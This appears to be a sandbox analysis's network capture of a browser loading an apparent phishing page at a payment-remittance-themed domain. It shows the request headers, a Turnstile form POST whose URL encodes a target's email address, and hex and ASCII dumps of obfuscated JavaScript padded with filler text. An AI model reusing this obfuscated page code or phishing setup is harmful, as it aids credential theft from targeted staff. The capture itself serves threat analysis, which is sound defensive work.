2025-03-04 19:40:06 UTC	1319	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 42 55 54 32 49 62 31 73 42 67 69 70 65 32 6b 36 69 4e 6d 77 7a 39 62 5a 79 41 57 53 49 41 45 37 4d 4f 47 31 38 49 38 75 4d 32 54 55 62 78 35 4b 52 68 52 7a 51 71 62 6c 34 70 44 6c 63 48 31 35 2f 68 73 5a 51 6a 4a 75 78 52 62 39 37 64 66 43 46 30 54 66 70 53 6f 4c 68 67 39 2f 33 6c 5a 37 44 4e 4f 54 46 7a 33 71 50 43 6c 6b 49 6b 6d 6f 74 30 50 61 6a 6b 33 5a 30 46 69 44 65 7a 30 46 4d 64 7a 33 63 6a 4d 51 48 4e 6d 2f 52 59 66 78 6c 75 6f 74 67 4d 31 61 69 61 39 32 43 2b 39 71 67 70 2b 6b 63 34 6f 58 71 68 66 52 4d 31 6b 6a 61 4d 73 74 46 63 4d 39 73 45 52 63 4a 50 30 67 47 75 33 38 5a 47 54 34 55 63 2f 4a 70 44 54 31 76 4e 74 6c 53 69 72 31 51 47 43 67 54 54 34 6a 54 47 55 6e 5a 46 65 56 6c 4c 4d 6c 44 73 6e 33 4d Data Ascii: cf-chl-out-s: BUT2Ib1sBgipe2k6iNmwz9bZyAWSIAE7MOG18I8uM2TUbx5KRhRzQqbl4pDlcH15/hsZQjJuxRb97dfCF0TfpSoLhg9/3lZ7DNOTFz3qPClkIkmot0Pajk3Z0FiDez0FMdz3cjMQHNm/RYfxluotgM1aia92C+9qgp+kc4oXqhfRM1kjaMstFcM9sERcJP0gGu38ZGT4Uc/JpDT1vNtlSir1QGCgTT4jTGUnZFeVlLMlDsn3M
2025-03-04 19:40:06 UTC	1137	IN	Data Raw: 51 59 68 55 6a 6c 69 46 65 48 75 48 64 49 43 42 68 59 64 32 55 34 4a 54 62 34 61 66 64 4a 56 35 6f 59 35 6b 5a 57 2b 53 70 5a 71 58 65 6f 6d 66 6d 4a 64 75 68 6d 35 2b 72 6f 71 74 72 72 43 6b 73 62 4b 30 6d 4c 46 38 71 4a 2b 79 66 6f 50 41 76 49 48 44 6f 63 76 47 70 37 71 49 79 35 75 6f 6b 71 69 55 30 4b 62 55 31 61 53 31 30 4a 69 7a 79 61 2f 68 33 4c 4c 51 34 62 44 42 6e 38 6e 44 79 72 6a 4c 36 4d 4c 47 37 62 76 4d 35 74 58 4e 30 4e 54 76 35 37 6a 56 73 72 73 41 38 66 66 76 33 62 7a 45 34 65 54 56 30 65 66 6d 31 38 49 4a 34 51 30 4f 35 75 7a 4c 39 65 66 78 30 51 67 49 39 41 34 55 43 50 30 55 36 42 63 56 48 43 4d 4f 35 52 41 43 4b 77 55 6e 46 76 66 72 35 65 34 78 2b 68 45 49 38 2f 34 50 4e 41 67 51 46 68 77 34 50 42 54 36 4f 42 51 63 46 54 73 35 51 45 63 Data Ascii: QYhUjliFeHuHdICBhYd2U4JTb4afdJV5oY5kZW+SpZqXeomfmJduhm5+roqtrrCksbK0mLF8qJ+yfoPAvIHDocvGp7qIy5uokqiU0KbU1aS10Jizya/h3LLQ4bDBn8nDyrjL6MLG7bvM5tXN0NTv57jVsrsA8ffv3bzE4eTV0efm18IJ4Q0O5uzL9efx0QgI9A4UCP0U6BcVHCMO5RACKwUnFvfr5e4x+hEI8/4PNAgQFhw4PBT6OBQcFTs5QEc
2025-03-04 19:40:06 UTC	1369	IN	Data Raw: 64 75 74 6f 64 2f 59 6d 63 54 68 70 71 54 74 35 61 76 72 7a 4f 33 53 72 4b 62 76 31 76 66 6c 39 38 7a 52 75 2b 2f 65 38 2b 2f 62 34 39 33 77 38 2b 37 45 38 77 55 46 31 65 73 47 78 74 6e 76 41 38 37 30 36 41 7a 6e 39 63 38 49 2b 78 41 59 47 78 55 55 48 52 44 67 31 53 55 58 43 42 77 41 48 4f 55 66 41 77 6a 72 43 6a 45 51 2f 75 55 41 44 76 48 7a 43 78 55 4e 4a 50 77 61 45 77 6f 7a 48 42 38 34 50 44 30 5a 42 54 68 45 51 52 6f 47 50 6a 42 41 50 69 34 6b 52 45 35 4c 4f 43 59 6c 4e 69 34 79 48 46 4a 52 47 52 4d 38 48 31 4e 46 59 43 4d 68 52 56 35 48 51 6b 68 6e 54 47 42 6c 62 7a 42 4b 63 58 45 75 4e 45 56 76 54 58 41 30 64 33 63 35 66 48 5a 66 57 56 64 38 52 57 5a 78 67 6f 4b 41 53 59 4e 72 61 57 4b 47 58 34 79 44 6a 6c 57 48 62 70 52 37 61 6e 47 62 58 59 46 73 Data Ascii: dutod/YmcThpqTt5avrzO3SrKbv1vfl98zRu+/e8+/b493w8+7E8wUF1esGxtnvA8706Azn9c8I+xAYGxUUHRDg1SUXCBwAHOUfAwjrCjEQ/uUADvHzCxUNJPwaEwozHB84PD0ZBThEQRoGPjBAPi4kRE5LOCYlNi4yHFJRGRM8H1NFYCMhRV5HQkhnTGBlbzBKcXEuNEVvTXA0d3c5fHZfWVd8RWZxgoKASYNraWKGX4yDjlWHbpR7anGbXYFs
2025-03-04 19:40:06 UTC	1369	IN	Data Raw: 43 78 74 62 4f 31 70 71 36 74 32 63 33 42 7a 72 37 45 37 38 57 7a 39 63 4c 51 36 4f 62 64 75 76 6a 55 36 67 50 73 32 64 4c 56 41 39 63 42 31 51 6a 37 36 77 76 38 42 50 37 79 43 75 54 77 30 42 62 75 39 39 55 4c 39 67 6a 57 34 42 6b 43 33 64 59 66 45 43 67 6d 48 51 54 6b 46 67 4c 72 44 51 72 74 46 4f 30 79 4a 77 6f 52 4d 7a 51 4d 43 52 58 32 46 54 62 37 4b 68 42 41 46 52 41 53 53 44 45 59 42 2f 30 37 50 45 4d 5a 50 7a 45 4d 48 69 78 54 56 53 67 59 53 6b 38 72 4b 54 4d 75 50 30 45 78 5a 44 42 45 4a 57 46 6e 4a 6c 78 58 52 47 34 34 4c 45 49 6e 5a 6b 51 77 50 6b 64 67 63 30 31 46 57 57 78 77 62 48 64 73 59 48 74 4d 65 6b 4e 51 66 6a 70 55 63 6d 70 6d 66 6f 4b 50 61 45 78 6f 6b 59 6c 76 67 57 57 53 61 31 4f 59 63 4a 5a 63 58 33 6d 52 65 6c 75 64 66 46 32 6f 6e Data Ascii: CxtbO1pq6t2c3Bzr7E78Wz9cLQ6ObduvjU6gPs2dLVA9cB1Qj76wv8BP7yCuTw0Bbu99UL9gjW4BkC3dYfECgmHQTkFgLrDQrtFO0yJwoRMzQMCRX2FTb7KhBAFRASSDEYB/07PEMZPzEMHixTVSgYSk8rKTMuP0ExZDBEJWFnJlxXRG44LEInZkQwPkdgc01FWWxwbHdsYHtMekNQfjpUcmpmfoKPaExokYlvgWWSa1OYcJZcX3mReludfF2on
2025-03-04 19:40:06 UTC	1129	IN	Data Raw: 6a 36 63 75 77 78 66 58 6f 78 75 76 70 36 72 57 74 75 4f 2f 31 75 50 48 39 39 4c 58 31 2b 4d 54 64 78 51 50 47 34 4f 4d 43 33 2f 63 4e 36 38 2f 68 36 67 6f 50 38 63 38 52 37 65 30 56 45 50 48 63 36 52 2f 79 49 50 77 66 45 50 44 7a 49 75 59 6b 34 77 6b 58 47 41 59 72 4b 69 51 4b 4d 50 4c 30 4c 53 6f 62 4f 50 59 36 4f 43 7a 35 50 79 73 34 48 30 41 76 43 43 6b 38 41 7a 78 45 50 43 39 49 4c 30 6f 52 48 6b 4a 46 4b 43 49 56 54 6a 78 49 4c 6a 63 72 58 45 39 65 54 46 77 75 58 30 63 31 53 57 64 64 4b 54 39 73 4f 32 78 50 62 79 39 63 62 47 77 30 55 56 42 74 63 6d 64 64 62 30 39 61 66 33 68 43 54 6e 32 41 52 48 78 65 67 32 78 65 68 47 5a 4e 67 48 4b 46 53 6f 78 74 68 32 6d 59 5a 49 31 75 6b 46 53 61 69 46 6c 73 6c 59 78 68 6b 35 65 48 59 57 47 62 5a 35 78 73 6e 47 Data Ascii: j6cuwxfXoxuvp6rWtuO/1uPH99LX1+MTdxQPG4OMC3/cN68/h6goP8c8R7e0VEPHc6R/yIPwfEPDzIuYk4wkXGAYrKiQKMPL0LSobOPY6OCz5Pys4H0AvCCk8AzxEPC9IL0oRHkJFKCIVTjxILjcrXE9eTFwuX0c1SWddKT9sO2xPby9cbGw0UVBtcmddb09af3hCTn2ARHxeg2xehGZNgHKFSoxth2mYZI1ukFSaiFlslYxhk5eHYWGbZ5xsnG

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:07 UTC	1067	OUT	POST /OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1 Host: paymentsremittance.hostingdoccentral.it.com Connection: keep-alive Content-Length: 1008 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://paymentsremittance.hostingdoccentral.it.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=jcf107rrqjj7cudchpj1q997rr
2025-03-04 19:40:07 UTC	1008	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 5f 79 6b 67 6c 4c 71 59 68 6f 6a 70 38 4b 36 5a 33 38 54 57 6f 71 64 42 32 51 6c 4f 62 6c 44 63 4a 6a 36 79 48 43 73 68 68 43 30 34 66 41 6e 6a 77 4a 62 61 7a 6d 56 53 54 46 65 4c 35 4a 61 4e 36 39 6e 58 39 6b 31 50 65 55 70 54 59 67 6b 7a 79 30 53 75 6e 32 50 4a 31 75 43 36 35 33 79 39 61 57 58 68 48 73 59 2d 35 4d 37 58 48 71 5f 5a 67 45 7a 36 56 76 66 43 47 77 6c 39 76 54 56 46 30 33 6e 62 34 37 61 42 38 39 51 30 36 35 4a 71 76 67 73 39 6d 42 45 6c 70 6e 43 5a 4b 4c 72 6f 71 75 7a 58 42 6a 48 53 66 7a 42 33 51 65 72 68 5f 41 47 79 65 65 6b 58 6b 39 79 57 55 6f 4a 57 33 75 48 31 51 43 5a 53 31 70 78 44 71 69 33 51 69 57 70 7a 53 71 44 54 75 6e 35 4e 76 72 39 75 54 65 78 73 55 43 4b Data Ascii: cf-turnstile-response=0._ykglLqYhojp8K6Z38TWoqdB2QlOblDcJj6yHCshhC04fAnjwJbazmVSTFeL5JaN69nX9k1PeUpTYgkzy0Sun2PJ1uC653y9aWXhHsY-5M7XHq_ZgEz6VvfCGwl9vTVF03nb47aB89Q065Jqvgs9mBElpnCZKLroquzXBjHSfzB3Qerh_AGyeekXk9yWUoJW3uH1QCZS1pxDqi3QiWpzSqDTun5Nvr9uTexsUCK
2025-03-04 19:40:08 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEg3dAYmNahZpUPEcETu77X3oP3ZqN%2BF0r43Nf%2F7ANJfssJo4pzf3Iw4ba7VBSqjShc4k1LeRa2O0yn5XrtATKzJMhESBmE8vEY5RE5LyMtZfGU%2FegAW2TGXQbSKNLGR%2Fq%2B2srtESbJTJgznOlJJnAPPf3%2BKde9u1jBvDr0D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91b3d7f45b3372b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=2038&rtt_var=775&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2862&recv_bytes=2697&delivery_rate=1432777&cwnd=209&unsent_bytes=0&cid=3e02d5fab94be4aa&ts=629&x=0"
2025-03-04 19:40:08 UTC	405	IN	Data Raw: 33 35 62 62 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 44 6f 6c 6f 72 65 20 62 6f 75 64 69 6e 20 73 68 6f 72 74 20 6c 6f 69 6e 20 62 65 65 66 20 72 69 62 73 20 69 64 20 73 68 6f 75 6c 64 65 72 20 74 65 6e 64 65 72 6c 6f 69 6e 20 71 75 69 73 20 6e 69 73 69 20 63 6f 72 6e 65 64 20 62 65 65 66 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 6c 65 74 20 72 68 31 33 7a 38 6a 65 6d 74 20 3d 20 27 27 3b 2f 2f 20 41 6e 64 6f 75 69 6c 6c 65 20 64 72 75 6d 73 74 69 63 6b 20 6f 63 63 61 65 63 61 74 2c 20 63 6f 6e 73 65 71 75 61 74 20 65 6c 69 74 20 65 73 73 65 20 62 61 6c 6c 20 74 69 70 20 64 6f 6c 6f 72 65 20 70 69 67 20 73 68 61 6e 6b 20 61 64 69 70 69 73 69 63 69 6e 67 20 66 61 74 62 61 63 6b 2e 0a 66 75 6e 63 74 69 6f 6e 20 4c 38 6f 38 51 68 52 28 Data Ascii: 35bb... <span>Dolore boudin short loin beef ribs id shoulder tenderloin quis nisi corned beef.</span> --><script>let rh13z8jemt = '';// Andouille drumstick occaecat, consequat elit esse ball tip dolore pig shank adipisicing fatback.function L8o8QhR(
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 59 42 43 35 64 78 28 4c 38 6f 38 51 68 52 29 7b 72 65 74 75 72 6e 20 6e 5f 63 39 7a 69 34 5b 4c 38 6f 38 51 68 52 3c 2d 30 78 33 33 3f 4c 38 6f 38 51 68 52 2b 30 78 32 3a 4c 38 6f 38 51 68 52 2b 30 78 33 32 5d 7d 6e 5f 63 39 7a 69 34 3d 42 78 46 46 67 73 28 29 3b 66 75 6e 63 74 69 6f 6e 20 55 5f 68 56 35 73 28 4c 38 6f 38 51 68 52 2c 52 55 66 38 33 48 29 7b 76 61 72 20 4b 63 45 7a 32 55 3d 69 48 45 30 61 59 28 4c 38 6f 38 51 68 52 3d 3e 7b 72 65 74 75 72 6e 20 6e 5f 63 39 7a 69 34 5b 4c 38 6f 38 51 68 52 3e 2d 30 78 31 66 3f 4c 38 6f 38 51 68 52 2b 30 78 31 65 3a 4c 38 6f 38 51 68 52 2b 30 78 65 5d 7d 2c 30 78 31 29 3b 72 65 74 75 72 6e 20 4a 52 46 6c 43 44 68 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 4c 38 6f 38 51 68 52 2c 4b 63 45 7a Data Ascii: function YBC5dx(L8o8QhR){return n_c9zi4[L8o8QhR<-0x33?L8o8QhR+0x2:L8o8QhR+0x32]}n_c9zi4=BxFFgs();function U_hV5s(L8o8QhR,RUf83H){var KcEz2U=iHE0aY(L8o8QhR=>{return n_c9zi4[L8o8QhR>-0x1f?L8o8QhR+0x1e:L8o8QhR+0xe]},0x1);return JRFlCDh.call(null,L8o8QhR,KcEz
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 5f 76 7c 38 47 37 29 21 60 61 50 6a 4a 62 4b 3d 70 78 7b 37 56 46 53 69 3e 48 49 7b 4e 24 2a 2b 74 3f 2c 3f 79 3b 3b 4d 43 5d 4d 4d 4e 51 71 28 70 6f 44 26 48 71 46 40 55 63 77 72 3a 5d 6f 72 2a 60 28 6c 48 6c 4b 77 57 73 4a 73 58 70 4b 40 2f 5a 35 62 56 49 50 66 7e 24 51 2f 3f 7b 7a 57 6b 6c 25 2b 74 5e 48 56 57 67 77 68 2f 4a 71 59 44 53 7a 56 21 2e 6b 50 42 63 77 29 57 59 71 3a 53 48 3d 67 48 50 4b 42 3e 76 33 60 6c 44 4b 35 4e 4e 68 60 3d 51 35 43 26 30 72 6b 39 3c 71 45 3f 70 7a 75 3d 66 50 64 43 7c 6f 6c 4a 6d 24 55 34 2f 2e 3d 21 6a 29 22 7e 49 70 4e 36 73 23 23 2c 31 35 75 76 24 46 6f 4d 50 6f 33 3a 26 5d 36 56 3f 5e 3d 38 32 58 6a 5d 30 22 7a 76 64 50 47 70 22 28 25 30 56 69 6f 75 4e 5e 7c 7d 78 5b 24 4a 30 53 46 76 3e 66 61 60 39 34 4e 36 61 36 Data Ascii: _v\|8G7)!`aPjJbK=px{7VFSi>HI{N$+t?,?y;;MC]MMNQq(poD&HqF@Ucwr:]or`(lHlKwWsJsXpK@/Z5bVIPf~$Q/?{zWkl%+t^HVWgwh/JqYDSzV!.kPBcw)WYq:SH=gHPKB>v3`lDK5NNh`=Q5C&0rk9<qE?pzu=fPdC\|olJm$U4/.=!j)"~IpN6s##,15uv$FoMPo3:&]6V?^=82Xj]0"zvdPGp"(%0ViouN^\|}x[$J0SFv>fa`94N6a6
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 5d 63 68 59 26 6c 5a 3d 68 70 4d 7e 2f 58 5d 25 71 4a 78 34 30 5b 3d 70 22 3d 71 56 6c 38 34 41 74 59 58 78 7c 44 72 7c 5d 25 48 2e 6d 44 40 4d 6c 56 29 3d 51 64 5d 4e 35 7e 67 3a 6a 29 39 55 38 22 5f 72 64 23 45 37 38 3c 7a 7e 59 21 68 4a 3c 33 3c 33 67 3b 45 28 2e 3d 54 56 45 74 55 25 4f 4d 7e 7d 62 2a 76 35 5f 5e 7d 74 58 50 61 42 60 71 36 5d 2e 6d 5a 6b 40 7e 79 48 51 24 6c 42 34 4d 55 3a 77 71 5b 74 5e 44 26 74 4b 4a 37 55 3c 50 3c 3f 56 6c 45 28 3d 47 79 56 5d 30 66 3e 2f 47 76 59 73 2a 76 35 72 2e 2b 74 74 53 37 26 4b 40 7c 45 6c 6c 51 34 3f 27 2c 27 5a 38 3a 41 44 45 55 2f 4c 36 7c 70 2e 45 5a 56 2e 75 35 4c 3e 6b 49 21 5f 50 62 60 47 2c 6b 2e 7a 7e 5a 60 5f 4d 2f 3d 51 24 2c 4b 71 64 23 2e 41 7c 2e 2f 54 60 40 5f 30 36 4f 36 5f 5e 3f 2a 3c 44 6c Data Ascii: ]chY&lZ=hpM~/X]%qJx40[=p"=qVl84AtYXx\|Dr\|]%H.mD@MlV)=Qd]N5~g:j)9U8"_rd#E78<z~Y!hJ<3<3g;E(.=TVEtU%OM~}bv5_^}tXPaB`q6].mZk@~yHQ$lB4MU:wq[t^D&tKJ7U<P<?VlE(=GyV]0f>/GvYsv5r.+ttS7&K@\|EllQ4?','Z8:ADEU/L6\|p.EZV.u5L>kI!_Pb`G,k.z~Z`_M/=Q$,Kqd#.A\|./T`@_06O6_^?*<Dl
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 79 2f 2e 6e 3b 6c 55 63 33 56 24 78 5b 7b 32 26 7b 37 56 3b 71 42 26 7c 50 4b 71 49 50 67 6a 35 25 75 26 57 3b 7c 26 59 39 76 43 53 24 32 33 23 3c 75 2e 41 7e 77 4a 36 4d 25 57 2b 76 6e 53 3b 72 7e 47 65 4a 50 60 7b 50 55 2f 6a 6d 37 3e 7d 49 34 7e 61 4b 5e 4c 24 47 48 58 25 2a 65 60 55 55 7e 30 69 26 74 38 31 58 7b 42 4d 62 23 61 4f 7e 6e 25 5f 28 46 42 22 77 62 58 45 4e 57 59 56 2b 67 47 42 21 5b 2f 33 33 65 6b 55 29 41 34 65 5f 6e 25 75 7e 4d 7e 35 53 28 4e 70 5f 76 78 21 51 4e 30 7b 60 60 75 4f 33 68 61 57 44 52 6a 22 3d 31 21 62 46 5e 7e 52 22 6b 6b 59 71 53 2a 59 7e 6f 3a 72 41 72 41 45 43 7d 5d 77 41 68 32 36 74 62 56 3a 50 40 29 61 4d 69 59 30 50 71 34 23 25 4b 2a 4e 6e 5b 4d 60 71 25 43 55 64 7b 6b 5d 3c 5d 2e 28 59 6f 29 3e 63 61 71 76 29 2a 2a Data Ascii: y/.n;lUc3V$x[{2&{7V;qB&\|PKqIPgj5%u&W;\|&Y9vCS$23#<u.A~wJ6M%W+vnS;r~GeJP`{PU/jm7>}I4~aK^L$GHX%e`UU~0i&t81X{BMb#aO~n%_(FB"wbXENWYV+gGB![/33ekU)A4e_n%u~M~5S(Np_vx!QN0{``uO3haWDRj"=1!bF^~R"kkYqSY~o:rArAEC}]wAh26tbV:P@)aMiY0Pq4#%KNn[M`q%CUd{k]<].(Yo)>caqv)*
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 53 39 4c 6b 24 4d 58 39 23 7c 52 30 59 2e 34 25 65 31 27 2c 27 55 41 5b 42 37 46 55 59 25 7c 3f 72 25 51 73 40 36 36 22 2f 68 71 67 39 29 4e 47 6f 48 55 59 26 68 53 73 6f 39 66 51 34 4f 36 70 60 63 7d 27 2c 27 6e 46 39 57 2b 68 7c 58 59 24 58 2f 4d 25 70 36 73 46 34 4a 3a 34 43 21 6d 29 69 27 2c 27 73 39 3c 2b 49 53 58 34 2f 5f 79 53 3e 2b 27 2c 27 3c 4b 53 41 5b 46 21 68 44 44 25 70 67 45 75 27 2c 27 54 23 7a 4d 32 34 55 72 41 6d 32 26 4e 74 53 39 36 3f 27 2c 27 4e 66 76 4c 3e 63 57 3a 63 76 57 28 54 34 78 2a 5f 66 4a 3e 79 44 25 68 3e 3b 3b 57 7d 7b 2b 69 74 29 62 55 2a 33 3d 30 31 29 50 42 6d 35 27 2c 27 79 46 37 38 3a 60 7d 78 49 43 5d 75 25 2e 76 25 52 56 70 29 67 77 31 5d 2a 41 7c 78 31 25 7d 21 4e 4b 3e 4c 54 71 58 58 73 5d 27 2c 27 61 4b 6e 2f 34 Data Ascii: S9Lk$MX9#\|R0Y.4%e1','UA[B7FUY%\|?r%Qs@66"/hqg9)NGoHUY&hSso9fQ4O6p`c}','nF9W+h\|XY$X/M%p6sF4J:4C!m)i','s9<+ISX4/_yS>+','<KSA[F!hDD%pgEu','T#zM24UrAm2&NtS96?','NfvL>cW:cvW(T4x_fJ>yD%h>;;W}{+it)bU3=01)PBm5','yF78:`}xIC]u%.v%RVp)gw1]*A\|x1%}!NK>LTqXXs]','aKn/4
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 21 51 21 3a 5b 5f 2a 33 31 64 3b 38 43 46 59 3e 5e 46 64 78 51 76 6b 34 58 55 57 2e 4a 4a 49 42 4f 6f 53 78 31 29 23 25 28 35 27 2c 27 62 6e 2c 4a 5a 4d 61 30 53 24 56 79 67 55 70 36 28 32 71 41 46 6f 31 27 2c 27 69 4b 50 29 2b 70 5b 72 79 2a 7c 61 37 2b 2c 40 52 53 60 4a 29 50 6a 3f 27 2c 27 66 2a 4d 43 3c 68 25 2f 66 76 3b 61 24 7a 63 38 23 21 5a 41 42 4a 31 27 2c 27 77 53 6f 28 51 74 31 27 2c 27 35 21 33 46 47 57 7c 42 25 7c 46 65 53 35 44 30 36 74 60 4a 77 42 60 2f 60 50 2a 70 6f 7b 2f 2e 46 53 7d 27 2c 27 72 26 2a 78 2c 3c 24 36 61 6c 68 23 5d 46 49 59 3d 39 40 38 54 42 67 50 32 65 55 4d 54 53 5a 37 71 66 7d 27 2c 27 7d 41 57 7e 72 4e 64 34 51 64 40 7c 24 35 43 59 62 3b 54 75 5f 4d 59 59 7a 65 4a 62 2e 5f 7b 56 6d 75 6f 4d 21 42 48 79 51 64 2e 27 2c Data Ascii: !Q!:[_31d;8CFY>^FdxQvk4XUW.JJIBOoSx1)#%(5','bn,JZMa0S$VygUp6(2qAFo1','iKP)+p[ry\|a7+,@RS`J)Pj?','fMC<h%/fv;a$zc8#!ZABJ1','wSo(Qt1','5!3FGW\|B%\|FeS5D06t`JwB`/`Ppo{/.FS}','r&*x,<$6alh#]FIY=9@8TBgP2eUMTSZ7qf}','}AW~rNd4Qd@\|$5CYb;Tu_MYYzeJb._{VmuoM!BHyQd.',
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 4a 4d 44 28 66 64 28 27 2c 27 41 71 3c 2b 48 41 3b 5d 79 4b 4c 6b 33 68 3f 21 22 45 55 70 63 6e 31 27 2c 27 36 7e 26 60 24 33 7d 36 4f 44 68 68 43 64 64 47 46 7c 3c 2b 4a 55 53 36 76 64 58 55 3f 27 2c 27 4b 50 42 30 59 59 4f 39 6b 23 59 33 24 25 3f 79 73 46 21 75 67 4f 41 42 65 76 27 2c 27 43 4b 54 5d 7e 22 2e 24 5d 4b 68 6a 46 7c 55 40 32 58 2b 6b 7a 3c 7e 47 50 44 43 28 45 55 33 76 37 75 23 4c 59 49 50 36 37 5f 44 27 2c 27 23 36 72 4d 2c 68 6f 3a 2c 7a 6b 45 50 74 28 79 4e 35 7e 4a 7a 50 5b 2f 50 62 4d 47 2b 64 62 59 79 7a 2b 6b 3f 70 6b 58 6e 44 56 56 3f 27 2c 27 32 58 78 60 23 63 38 42 62 2a 25 75 5b 2c 3a 40 24 3f 27 2c 27 56 66 68 75 72 74 74 59 50 23 50 60 79 3c 59 2a 23 39 74 2f 3f 70 77 30 31 64 45 55 2b 64 2e 36 6d 38 2a 57 44 61 6f 2f 71 50 64 Data Ascii: JMD(fd(','Aq<+HA;]yKLk3h?!"EUpcn1','6~&`$3}6ODhhCddGF\|<+JUS6vdXU?','KPB0YYO9k#Y3$%?ysF!ugOABev','CKT]~".$]KhjF\|U@2X+kz<~GPDC(EU3v7u#LYIP67_D','#6rM,ho:,zkEPt(yN5~JzP[/PbMG+dbYyz+k?pkXnDVV?','2Xx`#c8Bb%u[,:@$?','VfhurttYP#P`y<Y#9t/?pw01dEU+d.6m8*WDao/qPd
2025-03-04 19:40:08 UTC	1369	IN	Data Raw: 3d 28 4c 38 6f 38 51 68 52 2c 52 55 66 38 33 48 2c 4a 52 46 6c 43 44 68 2c 53 5a 6c 64 4c 76 5f 2c 58 4a 4f 51 44 62 4b 29 3d 3e 7b 69 66 28 74 79 70 65 6f 66 20 53 5a 6c 64 4c 76 5f 3d 3d 3d 59 42 43 35 64 78 28 2d 30 78 33 32 29 29 7b 53 5a 6c 64 4c 76 5f 3d 5f 66 75 62 6c 74 6e 7d 69 66 28 74 79 70 65 6f 66 20 58 4a 4f 51 44 62 4b 3d 3d 3d 59 42 43 35 64 78 28 2d 30 78 33 32 29 29 7b 58 4a 4f 51 44 62 4b 3d 75 77 39 6c 66 4d 7d 69 66 28 4c 38 6f 38 51 68 52 21 3d 3d 52 55 66 38 33 48 29 7b 72 65 74 75 72 6e 20 58 4a 4f 51 44 62 4b 5b 4c 38 6f 38 51 68 52 5d 7c 7c 28 58 4a 4f 51 44 62 4b 5b 4c 38 6f 38 51 68 52 5d 3d 53 5a 6c 64 4c 76 5f 28 6d 44 4f 6b 6e 74 36 5b 4c 38 6f 38 51 68 52 5d 29 29 7d 69 66 28 53 5a 6c 64 4c 76 5f 3d 3d 3d 4b 63 45 7a 32 55 Data Ascii: =(L8o8QhR,RUf83H,JRFlCDh,SZldLv_,XJOQDbK)=>{if(typeof SZldLv_===YBC5dx(-0x32)){SZldLv_=_fubltn}if(typeof XJOQDbK===YBC5dx(-0x32)){XJOQDbK=uw9lfM}if(L8o8QhR!==RUf83H){return XJOQDbK[L8o8QhR]\|\|(XJOQDbK[L8o8QhR]=SZldLv_(mDOknt6[L8o8QhR]))}if(SZldLv_===KcEz2U

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:08 UTC	731	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://paymentsremittance.hostingdoccentral.it.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://paymentsremittance.hostingdoccentral.it.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:09 UTC	953	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 